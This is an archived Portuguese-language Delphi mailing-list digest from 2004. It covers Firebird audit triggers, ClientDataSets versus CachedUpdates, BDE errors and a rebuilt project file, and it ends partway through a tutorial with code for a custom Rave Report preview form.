Nossa colega é muita coisa ... 3 por tabela... imagine um banco com 500 ou + tabelas... Deve ter alguma função no Delphi ou no FB que sonda essas alterações... Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] - Original Message - From: Rodrigo Reis Monnerat Louzada Villaverde To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 1:51 PM Subject: RES: [delphi-br] Log de Usuários Teria que ser 3 triggers por tabela. Uma para Inclusão, outra para alteraçãoe outra para exclusão. Eu não tenho nada pronto aqui não, mas devo estar fazendo uma rotina dessas por aqui daqui a uns 3 meses. Mas o caminho a seguir é esse mesmo ___ Rodrigo Reis Monnerat Louzada Villaverde Analista de Sistemas 1 www.petrolog.com.br * [EMAIL PROTECTED] ( +55 (21) 2421-1600 +55 (21) 9626-3000 -Mensagem original- De: Marcelo Silva [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 13:39 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] Log de Usuários Uma trigger para cada tabela ? ou tem alguma função no fb que facilita as coisas ? Vc teria um sample pra me mandar colega ... Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] - Original Message - From: Rodrigo Reis Monnerat Louzada Villaverde To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 1:32 PM Subject: RES: [delphi-br] Log de Usuários O melhor meio de se implementar isso é através de Triggers ___ Rodrigo Reis Monnerat Louzada Villaverde Analista de Sistemas 1 www.petrolog.com.br * [EMAIL PROTECTED] ( +55 (21) 2421-1600 +55 (21) 9626-3000 -Mensagem original- De: Marcelo Silva [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 13:24 Para: [EMAIL PROTECTED] Assunto: [delphi-br] Log de Usuários Tenho uma função que guarda Todos os erros do programa em uma tabela. Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE etc... Tipo (Fulano alterou registro tal...) Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando alguma tabela está em uso ? Ou fazem manualmente mesmo ? Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou
RES: [delphi-br] CachedUpdates
Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates. []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 15:14 Para: ((Delphi Assunto: [delphi-br] CachedUpdates Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes dataware... Será uma aplicação para + ou - uns 100 usuários simultâneos... Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego em rede ... e nem no banco.. Qual a opinião de vcs? Obrigado. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: RES: [delphi-br] CachedUpdates
Tentei utilizar o Cached Updates estou tento problemas: quando tento atualizar vários registros e dá erro num deles (integridade referencial por exemplo), alguns flags internos do dataset sao atualizados e quando tento gravar na base de novo o componente nao atualiza todos os dados. Precisei montar na mão o SQL a partir do dataset com cached update para gravar na base. Deu certo. Mas eu nao aconselharia usar cachedupdade. Quando eu tiver um tempo vou estudar ClientDataSets, que pelo que tenho lido na lista, tem sido o que a maioria dos programadores Delphi tem utilizado. Batista [EMAIL PROTECTED] 29/9/2004 16:16:33 Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates. []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 15:14 Para: ((Delphi Assunto: [delphi-br] CachedUpdates Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes dataware... Será uma aplicação para + ou - uns 100 usuários simultâneos... Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego em rede ... e nem no banco.. Qual a opinião de vcs? Obrigado. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] CachedUpdates
Desculpe Rubem, esqueci de dizer q utilizo Firebird 1.5, e componentes Interbase. To começando a programar, então... Client Dataset??? o cached updates eh uma propriedade do query... Dexa ver se eu entendi: Se eu utilizar ClientDataSet vou poder usar Componentes Dataware? Seria o mesmo q utilizar IbDataSet??? Obrigado. - Original Message - From: Rubem Rocha To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 4:16 PM Subject: RES: [delphi-br] CachedUpdates Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates. []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 15:14 Para: ((Delphi Assunto: [delphi-br] CachedUpdates Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes dataware... Será uma aplicação para + ou - uns 100 usuários simultâneos... Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego em rede ... e nem no banco.. Qual a opinião de vcs? Obrigado. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Bornldmm.dll
Qual é o erro ? Descreva o erro, não cole o BMP, ele é removido. --- Laira Gasparello [EMAIL PROTECTED] escreveu: - Ola... Estou com o seguinte problema.. Ao executar a linha : FErrorMsg := TFErrorMsg.Create(nil); file://laira 09/12/2003 (um formulário que mostra mensagens do tipo TFErrorMsg) ocorre o erro abaixo: Não existe uma lógica ao acontecer.. indifere o número de notas que são impressas e também o tipo de nota.. Alguém já passou por este problema? Meu Delphi é o 6 Laira [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: - Links do Yahoo! Grupos Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Log de Usuários
Marcelo Silva wrote: Nossa colega é muita coisa ... 3 por tabela... imagine um banco com 500 ou + tabelas... Deve ter alguma função no Delphi ou no FB que sonda essas alterações... Não tem. Mas existe utilitários que fazem isso (pagos) - isto é, criam as triggers necessárias automaticamente. Estou a lembrar-me de um, que se chama IBLogManager. É comercializado pelo Martjin, procure no Google. Artur -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] CachedUpdates
Pesquise o fonte dos exemplos. Se vc prestar bem atenção nos exemplos, poderá usar ambos, sendo que seu IBDataSet pode fornecer dados para um TClientDataSet. A dica pra pescar o peixe foi passada! []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 16:09 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] CachedUpdates Rubem... mas ClientDataSet pode ou não ser substituído por IbDataset??? Ou uma coisa naum tem nada a ver com outra? Brigadaum; - Original Message - From: Rubem Rocha To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 4:38 PM Subject: RES: [delphi-br] CachedUpdates Pode sim. Pesquise os exemplos que acompanham o Delphi sobre o uso do TClientDataSet. Eles estão em uma pasta, chamada Demos/Midas ou Demos/DataSnap. []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 15:37 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] CachedUpdates Desculpe Rubem, esqueci de dizer q utilizo Firebird 1.5, e componentes Interbase. To começando a programar, então... Client Dataset??? o cached updates eh uma propriedade do query... Dexa ver se eu entendi: Se eu utilizar ClientDataSet vou poder usar Componentes Dataware? Seria o mesmo q utilizar IbDataSet??? Obrigado. - Original Message - From: Rubem Rocha To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 4:16 PM Subject: RES: [delphi-br] CachedUpdates Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates. []s -Mensagem original- De: Filipe [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 15:14 Para: ((Delphi Assunto: [delphi-br] CachedUpdates Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes dataware... Será uma aplicação para + ou - uns 100 usuários simultâneos... Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego em rede ... e nem no banco.. Qual a opinião de vcs? Obrigado. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse:
Re: [delphi-br] Problemas com BDE
Abra o bde e reconfigure o driver que o seu sistema usava para acessar o banco Um abraço, Fabiano Catrinck - Programador -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Pascal Script (Comunidade)
Pessoal, O q acham de montarmos uma comunidade ou na lista identificar qdo o assunto se tratar de Pascal Script ( PS-Sou novato em PS) ??? Estou apanhando feioe vejo que tem muito pouco material sobre tal... Abraços a todos... Marcelo [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Pergunta ignorante
Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida: Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR. Como faço para montar o sistema novamente [EMAIL PROTECTED] --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004 -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] Pascal Script (Comunidade)
Eu acho interessante. Tô nessa. []s -Mensagem original- De: Marcelo Moacir Florindo [mailto:[EMAIL PROTECTED] Enviada em: quarta-feira, 29 de setembro de 2004 16:42 Para: delphi-br Assunto: [delphi-br] Pascal Script (Comunidade) Pessoal, O q acham de montarmos uma comunidade ou na lista identificar qdo o assunto se tratar de Pascal Script ( PS-Sou novato em PS) ??? Estou apanhando feioe vejo que tem muito pouco material sobre tal... Abraços a todos... Marcelo [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Arquivo HTTPD2.PAS
Pessoal: Alguem usa o Apache 2.0.4x (ou 2.0.50) para windows com Intraweb? Se positivo, poderia me enviar o arquivo HTTPD2.PAS EDITADO para fazer funcionar o Intraweb? []s, Mario. [EMAIL PROTECTED] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Pergunta ignorante
File New Application. Project - Remove from project... Depois Project - Add to project... Sávio Cler ICQ 142428832 www.sgm.rg3.net [EMAIL PROTECTED] Sto A. de Pádua - Rio de Janeiro Contato Pessoal: (22)9812-0656 ~ ~ ( @ @ ) ---o0Oo-(_)-oO0o--- Precisando de dicas? www.deephi.hpg.com.br --- Mais de 3 downloads -ooO---Ooo- - Original Message - From: Cícerot [EMAIL PROTECTED] To: [EMAIL PROTECTED] [EMAIL PROTECTED]; [EMAIL PROTECTED] Com. Br [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 5:46 PM Subject: [delphi-br] Pergunta ignorante Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida: Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR. Como faço para montar o sistema novamente [EMAIL PROTECTED] --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004 -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Pergunta ignorante
Bom dia! Isso e facil, basta que voce crie um novo projeto, e adicione todos os formularios necessarios a ele, lembre de informar qual e o formulario principal. Atenciosamente Adriano Guedes Cícerot [EMAIL PROTECTED] wrote: Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida: Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR. Como faço para montar o sistema novamente [EMAIL PROTECTED] --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004 -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: - Links do Yahoo! Grupos Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Descricao de como criar o seu Preview personalizado para o Rave Report.
Agurado comentarios.
Criando o seu Preview personalizado para o Rave Report por Adriano
Guedes.
Existem vários dicas por ai de como fazer isto, mas essa com certeza
nos da liberdade de criar um preview com a nossa cara.
Primeira parte: Componentes e Propriedades
1. Um formulário
1.1.Name Form_Visualizacao
2. Coloque no Form_Visualizacao um Painel
2.1.Align alTop
2.2.Name Painel
3. Coloque no Form_Visualizacao um ScrollBox (Additional)
3.1.Align alClient
3.2.Name ScrollBox1 (Para diferenciar da propriedade ScrollBox
do RvRenderPreview)
Agora vamos colocar componentes do Rave (Rave).
4. RvSystem
4.1.NameReportSystem
5. RvRenderPreview
5.1.Name RvRenderPreview
5.2.ScrollBox ScrollBox1
6. RvRenderPrint
6.1.NameRvRenderPrint
7. RvRenderPDF
7.1.Name RvRenderPDF
8. RvRenderHTML
8.1.Name RvRenderHTML
9. RvRenderRTF
9.1.Name RvRenderRTF
10. RvRenderText
10.1. Name RvRenderText
11. RvNDRWriter
11.1. Name RvNDRWriter
Vamos colocar as caixas de dialogo (Dialogs).
12. OpenDialog
12.1. DefaultExt NDR (coloque apenas as três letras sem ponto)
12.2. Filter
12.2.1. FilterName Rave Report (*.ndr)
12.2.2. Filter *.ndr
12.3. NameOpenDialog
12.4. Options
12.4.1. ofPathMustExist True
12.4.2. ofFileMustExist True
13. SaveDialog
13.1. DefaultExt NDR (coloque apenas as três letras sem ponto)
13.2. Filter
13.2.1. FilterName Filter
13.2.2. Adobe Acrobat (*.pdf) *.pdf
13.2.3. Formato Rich Text (*.rtf) *.rtf
13.2.4. Página da Web (*.html) *.html
13.2.5. Rave Report (*.ndr) *.ndr
13.2.6. Texto sem formatação (*.txt)*.txt
13.3. NameSaveDialog
13.4. Options
13.4.1. ofOverwritePrompt True
13.4.2. ofPathMustExist True
14. PrintDialog
14.1. NamePrintDialog
14.2. Options
14.2.1. poPageNums True
14.2.2. poSelection True
14.3. PrintRange prAllPages
Segunda parte: Procedure, Property e Class
Em Interface escreva o código abaixo:
Protected {Protegendo as propriedades}
Vari_Pagi_Numero: integer;
Vari_OnGenerate: TNotifyEvent;
Vari_Arqu_Entrada: String;
Vari_Stre_Entrada: TStream;
Vari_OnAfterPreviewPrint: TNotifyEvent;
Private
Public
Class Procedure Most_Arquivo(Const Vari_Arqu_Nome: String);
Property Pagi_Numero: integer read Vari_Pagi_Numero write
Vari_Pagi_Numero;
Property OnGenerate: TNotifyEvent read Vari_OnGenerate write
Vari_OnGenerate;
Property OnAfterPreviewPrint: TNotifyEvent read
Vari_OnAfterPreviewPrint write Vari_OnAfterPreviewPrint;
Property Arqu_Entrada: String read Vari_Arqu_Entrada write
Vari_Arqu_Entrada;
Property Stre_Entrada: TStream read Vari_Stre_Entrada write
Vari_Stre_Entrada;
end;
Declare a variável Vari_Arqu_Aberto: String;
Em Implementation escreva o código abaixo: (Declare as procedures em
Interface)
procedure TForm_Visualizacao.Abri_Arquivo(const Vari_Arqu_Nome:
string);
begin
Try
with RvRenderPreview do
begin
InputFileName := Vari_Arqu_Nome;
NDRStream.Free;
Render(InputFileName);
PrintDialog.MaxPage := RvRenderPreview.Pages;
Caption := Application.Title + ' - ' + ExtractFileName
(InputFileName);
end;
Except
MessageDlg(Vari_Arqu_Nome + chr(13)
+ 'O ' + Application.Title + ' não pode ler este arquivo.'
+ chr(13)
+ 'Este não é um arquivo válido ou não há suporte para o
formato atualmente.',mtWarning,[mbOK],0);
end;
end;
Procedure TForm_Visualizacao.Inic_ReportSystem;
Begin
If Vari_Arqu_Entrada '' Then
Begin
RvRenderPreview.NDRStream := TFileStream.Create
(Vari_Arqu_Entrada, fmOpenRead Or fmShareDenyWrite);
End
Else
Begin
RvRenderPreview.NDRStream := Vari_Stre_Entrada;
End;
RvRenderPreview.Render;
